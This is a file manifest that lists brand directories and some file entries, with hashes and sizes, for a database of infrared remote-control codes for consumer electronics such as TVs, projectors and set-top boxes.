+D:infrared/_CSV-IRDB_/AIM +D:infrared/_CSV-IRDB_/ANITECH +D:infrared/_CSV-IRDB_/AOC +D:infrared/_CSV-IRDB_/AccessHD +D:infrared/_CSV-IRDB_/AccessMedia +D:infrared/_CSV-IRDB_/Accupel +D:infrared/_CSV-IRDB_/Acer +D:infrared/_CSV-IRDB_/Acesonic +D:infrared/_CSV-IRDB_/Aconatic +D:infrared/_CSV-IRDB_/Acorp +D:infrared/_CSV-IRDB_/Adcom +D:infrared/_CSV-IRDB_/Adelphia +D:infrared/_CSV-IRDB_/Advanced Acoustics +D:infrared/_CSV-IRDB_/Aesthetix +D:infrared/_CSV-IRDB_/Airmate +D:infrared/_CSV-IRDB_/Aiwa +D:infrared/_CSV-IRDB_/Akai +D:infrared/_CSV-IRDB_/Antex Electronics +D:infrared/_CSV-IRDB_/Aopen +D:infrared/_CSV-IRDB_/Apex +D:infrared/_CSV-IRDB_/Apple +D:infrared/_CSV-IRDB_/Aragon +D:infrared/_CSV-IRDB_/Arcam +D:infrared/_CSV-IRDB_/Architectural Audio +D:infrared/_CSV-IRDB_/Aristona +D:infrared/_CSV-IRDB_/Arrakis Systems +D:infrared/_CSV-IRDB_/Askey +D:infrared/_CSV-IRDB_/Aspire Digital +D:infrared/_CSV-IRDB_/Astro +D:infrared/_CSV-IRDB_/Asus +D:infrared/_CSV-IRDB_/Aten +D:infrared/_CSV-IRDB_/Atlanta DTH +D:infrared/_CSV-IRDB_/Atlantic Technology +D:infrared/_CSV-IRDB_/Atlas +D:infrared/_CSV-IRDB_/Atlona +D:infrared/_CSV-IRDB_/Audio Access +D:infrared/_CSV-IRDB_/Audio Authority +D:infrared/_CSV-IRDB_/Audio Control +D:infrared/_CSV-IRDB_/Audio Refinement +D:infrared/_CSV-IRDB_/Audio Research +D:infrared/_CSV-IRDB_/AudioSource +D:infrared/_CSV-IRDB_/Audiola +D:infrared/_CSV-IRDB_/Audiovox +D:infrared/_CSV-IRDB_/Austar +D:infrared/_CSV-IRDB_/AutumnWave +D:infrared/_CSV-IRDB_/Avermedia +D:infrared/_CSV-IRDB_/Avex +D:infrared/_CSV-IRDB_/Avtoolbox +D:infrared/_CSV-IRDB_/Axion +D:infrared/_CSV-IRDB_/Axonix +D:infrared/_CSV-IRDB_/Ayre +D:infrared/_CSV-IRDB_/AzBox +D:infrared/_CSV-IRDB_/B.A.T +D:infrared/_CSV-IRDB_/BBK +D:infrared/_CSV-IRDB_/BORK +D:infrared/_CSV-IRDB_/BTX +D:infrared/_CSV-IRDB_/Bang Olufsen +D:infrared/_CSV-IRDB_/Barco +D:infrared/_CSV-IRDB_/Barix +D:infrared/_CSV-IRDB_/Beko +D:infrared/_CSV-IRDB_/Belkin +D:infrared/_CSV-IRDB_/Bell +D:infrared/_CSV-IRDB_/Bell ExpressVu +D:infrared/_CSV-IRDB_/Bellagio +D:infrared/_CSV-IRDB_/BenQ +D:infrared/_CSV-IRDB_/Bench +D:infrared/_CSV-IRDB_/Big Ben +D:infrared/_CSV-IRDB_/Bluesky +D:infrared/_CSV-IRDB_/BnK_Components +D:infrared/_CSV-IRDB_/Bogen +D:infrared/_CSV-IRDB_/Bose +D:infrared/_CSV-IRDB_/Boxlight +D:infrared/_CSV-IRDB_/Broksonic +D:infrared/_CSV-IRDB_/Busch-Jaeger +D:infrared/_CSV-IRDB_/Bush +D:infrared/_CSV-IRDB_/ByDesign +D:infrared/_CSV-IRDB_/CAT +D:infrared/_CSV-IRDB_/CIS BOX +D:infrared/_CSV-IRDB_/COSMEL +D:infrared/_CSV-IRDB_/Cables to Go +D:infrared/_CSV-IRDB_/Calrad +D:infrared/_CSV-IRDB_/Calypso +D:infrared/_CSV-IRDB_/Cambridge Audio +D:infrared/_CSV-IRDB_/Camera +D:infrared/_CSV-IRDB_/Canalsat +D:infrared/_CSV-IRDB_/Canon +D:infrared/_CSV-IRDB_/Captain +D:infrared/_CSV-IRDB_/Carver +D:infrared/_CSV-IRDB_/Cary Audio Design +D:infrared/_CSV-IRDB_/Casio +D:infrared/_CSV-IRDB_/Cce +D:infrared/_CSV-IRDB_/Celadon +D:infrared/_CSV-IRDB_/Centrum +D:infrared/_CSV-IRDB_/Century Concept +D:infrared/_CSV-IRDB_/Channel Master +D:infrared/_CSV-IRDB_/Channel Plus +D:infrared/_CSV-IRDB_/Chaparral +D:infrared/_CSV-IRDB_/Chief Manufacturing +D:infrared/_CSV-IRDB_/Cinemateq +D:infrared/_CSV-IRDB_/Cisco +D:infrared/_CSV-IRDB_/Citation +D:infrared/_CSV-IRDB_/Citizen +D:infrared/_CSV-IRDB_/Classe Audio +D:infrared/_CSV-IRDB_/Coby +D:infrared/_CSV-IRDB_/Colorado Vnet +D:infrared/_CSV-IRDB_/Comcast +D:infrared/_CSV-IRDB_/Commodore +D:infrared/_CSV-IRDB_/Compro +D:infrared/_CSV-IRDB_/Conrad +D:infrared/_CSV-IRDB_/Contour +D:infrared/_CSV-IRDB_/Cool Sat +D:infrared/_CSV-IRDB_/Coolsat +D:infrared/_CSV-IRDB_/Copland +D:infrared/_CSV-IRDB_/Corvo +D:infrared/_CSV-IRDB_/Cox +D:infrared/_CSV-IRDB_/Cph03x +D:infrared/_CSV-IRDB_/Creative +D:infrared/_CSV-IRDB_/Crestron +D:infrared/_CSV-IRDB_/Crown +D:infrared/_CSV-IRDB_/Curtis Electronics +D:infrared/_CSV-IRDB_/Curtis Mathes +D:infrared/_CSV-IRDB_/Cyberhome +D:infrared/_CSV-IRDB_/Cypress +D:infrared/_CSV-IRDB_/Cyron +D:infrared/_CSV-IRDB_/D-LINK +D:infrared/_CSV-IRDB_/DBPower +D:infrared/_CSV-IRDB_/DIFRNCE +D:infrared/_CSV-IRDB_/DK Digital +D:infrared/_CSV-IRDB_/DLO +D:infrared/_CSV-IRDB_/DSE +D:infrared/_CSV-IRDB_/DVDO +D:infrared/_CSV-IRDB_/DVICO +D:infrared/_CSV-IRDB_/Da Lite +D:infrared/_CSV-IRDB_/Daeumling +D:infrared/_CSV-IRDB_/Daewoo +D:infrared/_CSV-IRDB_/Dantax +D:infrared/_CSV-IRDB_/Dedicated Micros +D:infrared/_CSV-IRDB_/Dell +D:infrared/_CSV-IRDB_/Delphi +D:infrared/_CSV-IRDB_/Denon +D:infrared/_CSV-IRDB_/Denver +D:infrared/_CSV-IRDB_/Digiquest +D:infrared/_CSV-IRDB_/Digital Music Expres +D:infrared/_CSV-IRDB_/Digital Projection +D:infrared/_CSV-IRDB_/Digital Stream +D:infrared/_CSV-IRDB_/DigitalView +D:infrared/_CSV-IRDB_/DirecTV +D:infrared/_CSV-IRDB_/Dish Network +D:infrared/_CSV-IRDB_/Domland +D:infrared/_CSV-IRDB_/Draper +D:infrared/_CSV-IRDB_/Dream +D:infrared/_CSV-IRDB_/Dream Multimedia +D:infrared/_CSV-IRDB_/Dream Vision +D:infrared/_CSV-IRDB_/Durabrand +D:infrared/_CSV-IRDB_/Dwin +D:infrared/_CSV-IRDB_/Dynaudio +D:infrared/_CSV-IRDB_/Dynex +D:infrared/_CSV-IRDB_/E Max +D:infrared/_CSV-IRDB_/E-tech +D:infrared/_CSV-IRDB_/ELTASAT +D:infrared/_CSV-IRDB_/ENTONE +D:infrared/_CSV-IRDB_/Eagle Aspen +D:infrared/_CSV-IRDB_/Echostar +D:infrared/_CSV-IRDB_/Elan +D:infrared/_CSV-IRDB_/Electrocompaniet +D:infrared/_CSV-IRDB_/Electrokinetics +D:infrared/_CSV-IRDB_/Elenberg +D:infrared/_CSV-IRDB_/Elitron +D:infrared/_CSV-IRDB_/Elmo +D:infrared/_CSV-IRDB_/Emerson +D:infrared/_CSV-IRDB_/Epson +D:infrared/_CSV-IRDB_/Escient +D:infrared/_CSV-IRDB_/Esoteric Audio +D:infrared/_CSV-IRDB_/Euroconsumers +D:infrared/_CSV-IRDB_/Expressvu +D:infrared/_CSV-IRDB_/Extron +D:infrared/_CSV-IRDB_/FSC +D:infrared/_CSV-IRDB_/FTE Maximal +D:infrared/_CSV-IRDB_/FUBA +D:infrared/_CSV-IRDB_/FUNAI +D:infrared/_CSV-IRDB_/Fagor +D:infrared/_CSV-IRDB_/Falcon +D:infrared/_CSV-IRDB_/Faroudja +D:infrared/_CSV-IRDB_/Fast +D:infrared/_CSV-IRDB_/Fedders +D:infrared/_CSV-IRDB_/Fisher +D:infrared/_CSV-IRDB_/Fortec +D:infrared/_CSV-IRDB_/Fosgate +D:infrared/_CSV-IRDB_/Foxtel +D:infrared/_CSV-IRDB_/Free +D:infrared/_CSV-IRDB_/Freecom +D:infrared/_CSV-IRDB_/Fresat +D:infrared/_CSV-IRDB_/Friedrich +D:infrared/_CSV-IRDB_/Fujitsu +D:infrared/_CSV-IRDB_/Fujitsu Siemens +D:infrared/_CSV-IRDB_/Fujtech +D:infrared/_CSV-IRDB_/Fusion Research +D:infrared/_CSV-IRDB_/GAMEFACTORY +D:infrared/_CSV-IRDB_/GE +D:infrared/_CSV-IRDB_/GVC +D:infrared/_CSV-IRDB_/Galaxis +D:infrared/_CSV-IRDB_/Gefen Systems +D:infrared/_CSV-IRDB_/General +D:infrared/_CSV-IRDB_/General Electric +D:infrared/_CSV-IRDB_/General Instrument +D:infrared/_CSV-IRDB_/General Instruments +D:infrared/_CSV-IRDB_/Genesis +D:infrared/_CSV-IRDB_/Geniatech +D:infrared/_CSV-IRDB_/Genius +D:infrared/_CSV-IRDB_/Genus +D:infrared/_CSV-IRDB_/Gericom +D:infrared/_CSV-IRDB_/Get +D:infrared/_CSV-IRDB_/Gigabyte +D:infrared/_CSV-IRDB_/Go Video +D:infrared/_CSV-IRDB_/GoldStar +D:infrared/_CSV-IRDB_/Golden Interstar +D:infrared/_CSV-IRDB_/Goldmund +D:infrared/_CSV-IRDB_/Goodmans +D:infrared/_CSV-IRDB_/Govideo +D:infrared/_CSV-IRDB_/Gradiente +D:infrared/_CSV-IRDB_/Gran Prix +D:infrared/_CSV-IRDB_/Grand Tech +D:infrared/_CSV-IRDB_/Griffin +D:infrared/_CSV-IRDB_/Grundig +D:infrared/_CSV-IRDB_/Gryphon +D:infrared/_CSV-IRDB_/Guillemot +D:infrared/_CSV-IRDB_/HB +D:infrared/_CSV-IRDB_/HP +D:infrared/_CSV-IRDB_/HQ +D:infrared/_CSV-IRDB_/HQV +D:infrared/_CSV-IRDB_/Hama +D:infrared/_CSV-IRDB_/Hampton Bay +D:infrared/_CSV-IRDB_/Harman Kardon +D:infrared/_CSV-IRDB_/Harman Video +D:infrared/_CSV-IRDB_/Harmony +D:infrared/_CSV-IRDB_/Hauppauge +D:infrared/_CSV-IRDB_/Hello Kitty +D:infrared/_CSV-IRDB_/Herma +D:infrared/_CSV-IRDB_/Hermstedt +D:infrared/_CSV-IRDB_/Hewlett Packard +D:infrared/_CSV-IRDB_/Hinen Electronics +D:infrared/_CSV-IRDB_/Hip Interactive +D:infrared/_CSV-IRDB_/Hirschmann +D:infrared/_CSV-IRDB_/Hitachi +D:infrared/_CSV-IRDB_/Hiteker +D:infrared/_CSV-IRDB_/Hivion +D:infrared/_CSV-IRDB_/Hokkaido +D:infrared/_CSV-IRDB_/Homecast +D:infrared/_CSV-IRDB_/Hughes +D:infrared/_CSV-IRDB_/Humax +D:infrared/_CSV-IRDB_/Hyundai +D:infrared/_CSV-IRDB_/I-O Data +D:infrared/_CSV-IRDB_/I24 +D:infrared/_CSV-IRDB_/IR4PS3 +D:infrared/_CSV-IRDB_/ITT +D:infrared/_CSV-IRDB_/Illusion +D:infrared/_CSV-IRDB_/Imerge +D:infrared/_CSV-IRDB_/InFocus +D:infrared/_CSV-IRDB_/Insignia +D:infrared/_CSV-IRDB_/Instant Replay +D:infrared/_CSV-IRDB_/Integra +D:infrared/_CSV-IRDB_/IntelliNet Controls +D:infrared/_CSV-IRDB_/Interact +D:infrared/_CSV-IRDB_/Intervideo +D:infrared/_CSV-IRDB_/Intervision +D:infrared/_CSV-IRDB_/Irradio +D:infrared/_CSV-IRDB_/JBL +D:infrared/_CSV-IRDB_/JENSEN +D:infrared/_CSV-IRDB_/JVC +D:infrared/_CSV-IRDB_/Jamo +D:infrared/_CSV-IRDB_/Jerrold +D:infrared/_CSV-IRDB_/KAWA +D:infrared/_CSV-IRDB_/KENMORE +D:infrared/_CSV-IRDB_/KEY DIGITAL +D:infrared/_CSV-IRDB_/Kaleidescape +D:infrared/_CSV-IRDB_/Kaon +D:infrared/_CSV-IRDB_/Kathrein +D:infrared/_CSV-IRDB_/Kensington +D:infrared/_CSV-IRDB_/Kenwood +D:infrared/_CSV-IRDB_/Khl +D:infrared/_CSV-IRDB_/Kinergetics Research +D:infrared/_CSV-IRDB_/Kingbox +D:infrared/_CSV-IRDB_/Kiss +D:infrared/_CSV-IRDB_/Klipsch +D:infrared/_CSV-IRDB_/Knoll +D:infrared/_CSV-IRDB_/Konka +D:infrared/_CSV-IRDB_/Krell +D:infrared/_CSV-IRDB_/Kworld +D:infrared/_CSV-IRDB_/Kyocera +D:infrared/_CSV-IRDB_/L+S +D:infrared/_CSV-IRDB_/LEMON +D:infrared/_CSV-IRDB_/LG +D:infrared/_CSV-IRDB_/LP Morgan +D:infrared/_CSV-IRDB_/LXI +D:infrared/_CSV-IRDB_/Lacie +D:infrared/_CSV-IRDB_/Lasonic +D:infrared/_CSV-IRDB_/LeadTek +D:infrared/_CSV-IRDB_/Leadership +D:infrared/_CSV-IRDB_/Lenovo +D:infrared/_CSV-IRDB_/Lexicon +D:infrared/_CSV-IRDB_/Life-view +D:infrared/_CSV-IRDB_/Lifesat +D:infrared/_CSV-IRDB_/Lifetec +D:infrared/_CSV-IRDB_/Lightolier +D:infrared/_CSV-IRDB_/Linksys +D:infrared/_CSV-IRDB_/Linn +D:infrared/_CSV-IRDB_/LiteOn +D:infrared/_CSV-IRDB_/LiteTouch +D:infrared/_CSV-IRDB_/Loewe +D:infrared/_CSV-IRDB_/Logitech +D:infrared/_CSV-IRDB_/Lumagen +D:infrared/_CSV-IRDB_/Luxman +D:infrared/_CSV-IRDB_/Luxor +D:infrared/_CSV-IRDB_/M3 Electronic +D:infrared/_CSV-IRDB_/MAGIC LIGHTING +D:infrared/_CSV-IRDB_/MAGNASONIC +D:infrared/_CSV-IRDB_/MCL +D:infrared/_CSV-IRDB_/METRONIC +D:infrared/_CSV-IRDB_/MGA +D:infrared/_CSV-IRDB_/MIRO +D:infrared/_CSV-IRDB_/MISSION +D:infrared/_CSV-IRDB_/MS-Tech +D:infrared/_CSV-IRDB_/MSI +D:infrared/_CSV-IRDB_/Macro Image Technology +D:infrared/_CSV-IRDB_/Madrigal +D:infrared/_CSV-IRDB_/Magnavox +D:infrared/_CSV-IRDB_/Magnum +D:infrared/_CSV-IRDB_/Magnum Dynalab +D:infrared/_CSV-IRDB_/Majestic +D:infrared/_CSV-IRDB_/Makita +D:infrared/_CSV-IRDB_/Malata +D:infrared/_CSV-IRDB_/Manhattan +D:infrared/_CSV-IRDB_/Manta +D:infrared/_CSV-IRDB_/Marantz +D:infrared/_CSV-IRDB_/Mark +D:infrared/_CSV-IRDB_/Mark Levinson +D:infrared/_CSV-IRDB_/Mas +D:infrared/_CSV-IRDB_/Maxx +D:infrared/_CSV-IRDB_/McIntosh +D:infrared/_CSV-IRDB_/Medion +D:infrared/_CSV-IRDB_/Melectronic +D:infrared/_CSV-IRDB_/Meliconi +D:infrared/_CSV-IRDB_/Memorex +D:infrared/_CSV-IRDB_/Meridian +D:infrared/_CSV-IRDB_/Metronome +D:infrared/_CSV-IRDB_/Metrox +D:infrared/_CSV-IRDB_/Micromega +D:infrared/_CSV-IRDB_/Microsoft +D:infrared/_CSV-IRDB_/Midiland +D:infrared/_CSV-IRDB_/Mintek +D:infrared/_CSV-IRDB_/Mitochiba +D:infrared/_CSV-IRDB_/Mitsubishi +D:infrared/_CSV-IRDB_/Monoprice +D:infrared/_CSV-IRDB_/Morgans Daytona +D:infrared/_CSV-IRDB_/Motorola +D:infrared/_CSV-IRDB_/Multi Canal +D:infrared/_CSV-IRDB_/Multichoice +D:infrared/_CSV-IRDB_/Mustek +D:infrared/_CSV-IRDB_/Mvision +D:infrared/_CSV-IRDB_/Myryad +D:infrared/_CSV-IRDB_/NAD +D:infrared/_CSV-IRDB_/NEC +D:infrared/_CSV-IRDB_/NET TV +D:infrared/_CSV-IRDB_/NTL +D:infrared/_CSV-IRDB_/NVIDIA +D:infrared/_CSV-IRDB_/Nagra +D:infrared/_CSV-IRDB_/Nakamichi +D:infrared/_CSV-IRDB_/Napa +D:infrared/_CSV-IRDB_/Nebula Electronics +D:infrared/_CSV-IRDB_/Netgem +D:infrared/_CSV-IRDB_/Nextwave +D:infrared/_CSV-IRDB_/Nikko +D:infrared/_CSV-IRDB_/Niles Audio +D:infrared/_CSV-IRDB_/No Brand +D:infrared/_CSV-IRDB_/Nokia +D:infrared/_CSV-IRDB_/Norcent +D:infrared/_CSV-IRDB_/NorthQ +D:infrared/_CSV-IRDB_/Novaplex +D:infrared/_CSV-IRDB_/Now Broadband TV +D:infrared/_CSV-IRDB_/OSRAM +D:infrared/_CSV-IRDB_/Olevia +D:infrared/_CSV-IRDB_/Olympus +D:infrared/_CSV-IRDB_/One For All +D:infrared/_CSV-IRDB_/Onida +D:infrared/_CSV-IRDB_/Onkyo +D:infrared/_CSV-IRDB_/Onkyo Integra +D:infrared/_CSV-IRDB_/Optex +D:infrared/_CSV-IRDB_/PHAST +D:infrared/_CSV-IRDB_/PLU2 +D:infrared/_CSV-IRDB_/PS Audio +D:infrared/_CSV-IRDB_/Pace +D:infrared/_CSV-IRDB_/Packard Bell +D:infrared/_CSV-IRDB_/Palcom +D:infrared/_CSV-IRDB_/Panasonic +D:infrared/_CSV-IRDB_/Panda +D:infrared/_CSV-IRDB_/Pansat +D:infrared/_CSV-IRDB_/Parasound +D:infrared/_CSV-IRDB_/Peekton +D:infrared/_CSV-IRDB_/Philco +D:infrared/_CSV-IRDB_/Philips +D:infrared/_CSV-IRDB_/Phonotrend +D:infrared/_CSV-IRDB_/Pinnacle Systems +D:infrared/_CSV-IRDB_/Pioneer +D:infrared/_CSV-IRDB_/PixelView +D:infrared/_CSV-IRDB_/Polaroid +D:infrared/_CSV-IRDB_/Pragmatic +D:infrared/_CSV-IRDB_/ProPlay +D:infrared/_CSV-IRDB_/Proceed +D:infrared/_CSV-IRDB_/Proscan +D:infrared/_CSV-IRDB_/Protek +D:infrared/_CSV-IRDB_/Proton +D:infrared/_CSV-IRDB_/Provideo +D:infrared/_CSV-IRDB_/Provision +D:infrared/_CSV-IRDB_/QUADRAL +D:infrared/_CSV-IRDB_/Quasar +D:infrared/_CSV-IRDB_/RCA +D:infrared/_CSV-IRDB_/RSQ +D:infrared/_CSV-IRDB_/Radio Shack +D:infrared/_CSV-IRDB_/Radix +D:infrared/_CSV-IRDB_/Raite +D:infrared/_CSV-IRDB_/Ranex +D:infrared/_CSV-IRDB_/Re.x +D:infrared/_CSV-IRDB_/Recor +D:infrared/_CSV-IRDB_/Rega +D:infrared/_CSV-IRDB_/Replay Networks +D:infrared/_CSV-IRDB_/ReplayTV +D:infrared/_CSV-IRDB_/Revo +D:infrared/_CSV-IRDB_/Revoy +D:infrared/_CSV-IRDB_/Rio +D:infrared/_CSV-IRDB_/Roku +D:infrared/_CSV-IRDB_/Rolsen +D:infrared/_CSV-IRDB_/Rotel +D:infrared/_CSV-IRDB_/Rowa +D:infrared/_CSV-IRDB_/Runco +D:infrared/_CSV-IRDB_/Russound +D:infrared/_CSV-IRDB_/SAB +D:infrared/_CSV-IRDB_/SABA +D:infrared/_CSV-IRDB_/SEG +D:infrared/_CSV-IRDB_/ST +D:infrared/_CSV-IRDB_/STRONG +D:infrared/_CSV-IRDB_/SUPERSQNY +D:infrared/_CSV-IRDB_/SVEN +D:infrared/_CSV-IRDB_/Sagem +D:infrared/_CSV-IRDB_/Salora +D:infrared/_CSV-IRDB_/Samsung +D:infrared/_CSV-IRDB_/Samy +D:infrared/_CSV-IRDB_/Sansonic +D:infrared/_CSV-IRDB_/Sansui +D:infrared/_CSV-IRDB_/Sanyo +D:infrared/_CSV-IRDB_/Satelco +D:infrared/_CSV-IRDB_/Schneider +D:infrared/_CSV-IRDB_/Schwaiger +D:infrared/_CSV-IRDB_/Scientific Atlanta +D:infrared/_CSV-IRDB_/Scott +D:infrared/_CSV-IRDB_/Seleco +D:infrared/_CSV-IRDB_/Sencor +D:infrared/_CSV-IRDB_/Sgi +D:infrared/_CSV-IRDB_/Sharp +D:infrared/_CSV-IRDB_/Sharpsat +D:infrared/_CSV-IRDB_/Sherwood +D:infrared/_CSV-IRDB_/Shinco +D:infrared/_CSV-IRDB_/Shuttle +D:infrared/_CSV-IRDB_/Siemens +D:infrared/_CSV-IRDB_/Sigma Designs +D:infrared/_CSV-IRDB_/Sigmatek +D:infrared/_CSV-IRDB_/Silvercrest +D:infrared/_CSV-IRDB_/Sirius +D:infrared/_CSV-IRDB_/Sitronics +D:infrared/_CSV-IRDB_/Sky +D:infrared/_CSV-IRDB_/Skymaster +D:infrared/_CSV-IRDB_/Slim Art +D:infrared/_CSV-IRDB_/Slim Devices +D:infrared/_CSV-IRDB_/SnapStream +D:infrared/_CSV-IRDB_/Snazio +D:infrared/_CSV-IRDB_/Snell +D:infrared/_CSV-IRDB_/Sonance +D:infrared/_CSV-IRDB_/Sonicview +D:infrared/_CSV-IRDB_/Sony +D:infrared/_CSV-IRDB_/Speed-link +D:infrared/_CSV-IRDB_/Starsat +D:infrared/_CSV-IRDB_/Starview +D:infrared/_CSV-IRDB_/Streamzap +D:infrared/_CSV-IRDB_/Sumvision +D:infrared/_CSV-IRDB_/Sunfire +D:infrared/_CSV-IRDB_/Sungale +D:infrared/_CSV-IRDB_/Supermax +D:infrared/_CSV-IRDB_/Supportplus +D:infrared/_CSV-IRDB_/Syabas +D:infrared/_CSV-IRDB_/Symphonic +D:infrared/_CSV-IRDB_/TCM +D:infrared/_CSV-IRDB_/TCUAG +D:infrared/_CSV-IRDB_/TEAC +D:infrared/_CSV-IRDB_/TECHNICS +D:infrared/_CSV-IRDB_/TECHNISAT +D:infrared/_CSV-IRDB_/TELEFUNKEN +D:infrared/_CSV-IRDB_/TRIAX +D:infrared/_CSV-IRDB_/Tab Electronics +D:infrared/_CSV-IRDB_/Tangent +D:infrared/_CSV-IRDB_/Technosonic +D:infrared/_CSV-IRDB_/Technotrend +D:infrared/_CSV-IRDB_/Teleka +D:infrared/_CSV-IRDB_/Telemann +D:infrared/_CSV-IRDB_/Televes +D:infrared/_CSV-IRDB_/Tensai +D:infrared/_CSV-IRDB_/Terratec +D:infrared/_CSV-IRDB_/Tesla +D:infrared/_CSV-IRDB_/Tevion +D:infrared/_CSV-IRDB_/Theta Digital +D:infrared/_CSV-IRDB_/Thinkgeek +D:infrared/_CSV-IRDB_/Thompson +D:infrared/_CSV-IRDB_/Thomson +D:infrared/_CSV-IRDB_/TiVo +D:infrared/_CSV-IRDB_/Tivoli +D:infrared/_CSV-IRDB_/Tokai +D:infrared/_CSV-IRDB_/Topfield +D:infrared/_CSV-IRDB_/Topseed +D:infrared/_CSV-IRDB_/Toshiba +D:infrared/_CSV-IRDB_/Total Control +D:infrared/_CSV-IRDB_/Total Media In Hand +D:infrared/_CSV-IRDB_/Traxis +D:infrared/_CSV-IRDB_/Trust +D:infrared/_CSV-IRDB_/Trutech +D:infrared/_CSV-IRDB_/Turtle Beach +D:infrared/_CSV-IRDB_/Turtlebeach +D:infrared/_CSV-IRDB_/Twinhan +D:infrared/_CSV-IRDB_/Typhoon +D:infrared/_CSV-IRDB_/UEC +D:infrared/_CSV-IRDB_/UPC +D:infrared/_CSV-IRDB_/US Electronics +D:infrared/_CSV-IRDB_/Ultrawave +D:infrared/_CSV-IRDB_/Umax +D:infrared/_CSV-IRDB_/Uniden +D:infrared/_CSV-IRDB_/United +D:infrared/_CSV-IRDB_/Universal +D:infrared/_CSV-IRDB_/Velodyne +D:infrared/_CSV-IRDB_/Venturer +D:infrared/_CSV-IRDB_/Vestel +D:infrared/_CSV-IRDB_/Video7 +D:infrared/_CSV-IRDB_/Vidikron +D:infrared/_CSV-IRDB_/ViewSonic +D:infrared/_CSV-IRDB_/Viewmaster +D:infrared/_CSV-IRDB_/Viewsat +D:infrared/_CSV-IRDB_/Virgin-media +D:infrared/_CSV-IRDB_/Visionetics +D:infrared/_CSV-IRDB_/Vistron +D:infrared/_CSV-IRDB_/Vivanco +D:infrared/_CSV-IRDB_/Vizio +D:infrared/_CSV-IRDB_/VocoPro +D:infrared/_CSV-IRDB_/Voxson +D:infrared/_CSV-IRDB_/WD +D:infrared/_CSV-IRDB_/Westinghouse +D:infrared/_CSV-IRDB_/Wilfa +D:infrared/_CSV-IRDB_/XMS +D:infrared/_CSV-IRDB_/XORO +D:infrared/_CSV-IRDB_/Xantech +D:infrared/_CSV-IRDB_/Xlogic +D:infrared/_CSV-IRDB_/Xtreamer +D:infrared/_CSV-IRDB_/YES +D:infrared/_CSV-IRDB_/Yakumo +D:infrared/_CSV-IRDB_/Yamada +D:infrared/_CSV-IRDB_/Yamaha +D:infrared/_CSV-IRDB_/Yamakawa +D:infrared/_CSV-IRDB_/Yuan +D:infrared/_CSV-IRDB_/Zalman +D:infrared/_CSV-IRDB_/Zehnder +D:infrared/_CSV-IRDB_/Zenith +D:infrared/_CSV-IRDB_/Zephir +D:infrared/_CSV-IRDB_/Zinwell +D:infrared/_CSV-IRDB_/Zolid +D:infrared/_CSV-IRDB_/Zoltrix +D:infrared/_CSV-IRDB_/Zyxel +D:infrared/_CSV-IRDB_/anysee +D:infrared/_CSV-IRDB_/audiosonic +D:infrared/_CSV-IRDB_/cenOmax +D:infrared/_CSV-IRDB_/daytron +D:infrared/_CSV-IRDB_/dual +D:infrared/_CSV-IRDB_/eltax +D:infrared/_CSV-IRDB_/fenner +D:infrared/_CSV-IRDB_/huth +D:infrared/_CSV-IRDB_/iPort +D:infrared/_CSV-IRDB_/imon +D:infrared/_CSV-IRDB_/ione +D:infrared/_CSV-IRDB_/italtel +D:infrared/_CSV-IRDB_/kendo +D:infrared/_CSV-IRDB_/konig +D:infrared/_CSV-IRDB_/kosmos +D:infrared/_CSV-IRDB_/mStation +D:infrared/_CSV-IRDB_/media-tech +D:infrared/_CSV-IRDB_/mivar +D:infrared/_CSV-IRDB_/multiTEC +D:infrared/_CSV-IRDB_/oceanic +D:infrared/_CSV-IRDB_/orion +D:infrared/_CSV-IRDB_/palmbutler +D:infrared/_CSV-IRDB_/remotec +D:infrared/_CSV-IRDB_/roadstar +D:infrared/_CSV-IRDB_/rubin +D:infrared/_CSV-IRDB_/starhub +D:infrared/_CSV-IRDB_/sun +D:infrared/_CSV-IRDB_/trio +D:infrared/_CSV-IRDB_/universum +D:infrared/_CSV-IRDB_/videologic +D:infrared/_CSV-IRDB_/viewmaxpro +D:infrared/_CSV-IRDB_/xsat +F:e47806cedff325d32b6e5c146cc58d39:577:infrared/_CSV-IRDB_/ReadMe.md +D:infrared/_CSV-IRDB_/2wire/Unknown_2wire +F:223746620c4c6d997d9656eda09f5cf2:1864:infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir +D:infrared/_CSV-IRDB_/3M/Projector +D:infrared/_CSV-IRDB_/3M/Video Projector +F:8ae8134d2aa858586f359406b99a4b3d:1529:infrared/_CSV-IRDB_/3M/Projector/134,-1.ir +F:8ae8134d2aa858586f359406b99a4b3d:1529:infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir +D:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD +F:415b9e26e3487d5738f6647643dc3a1c:3442:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir +D:infrared/_CSV-IRDB_/ABS/SAT_8776 +F:63b947cbb859a866cd569792ad23339d:2881:infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir +D:infrared/_CSV-IRDB_/ADA/Millenium +F:682c4c0ccd5dfaa4798434c0c4c4a010:130:infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir +D:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000 +D:infrared/_CSV-IRDB_/ADB/Set Top Box +F:6e76790fda22cb7019c6ee5c9e1ebd4a:3357:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir +F:d91d26df535ff083dd963e1af06157b9:3552:infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir +D:infrared/_CSV-IRDB_/ADS/AUDIO_Tech +D:infrared/_CSV-IRDB_/ADS/TV_Instant +F:a275a22bfe83e21da62e50938b3d7b2b:2409:infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir +F:5d5b912320a82952e7b74aa3382861fc:4220:infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir +D:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126 +D:infrared/_CSV-IRDB_/AIM/RADIO +F:0390a99a1f1ce99fd0ee226c7cf20fee:4639:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir +F:adb6c223555b938b39f4359be632219d:1664:infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir +D:infrared/_CSV-IRDB_/ANITECH/TV +F:b14122a65506133895acd0b34004941a:822:infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir +D:infrared/_CSV-IRDB_/AOC/TV +F:e7c3324402483175c9f8712deaf5e002:2371:infrared/_CSV-IRDB_/AOC/TV/0,189.ir +D:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U +F:5ead07f7e913150a0cd884a8f93ef8ee:2694:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir 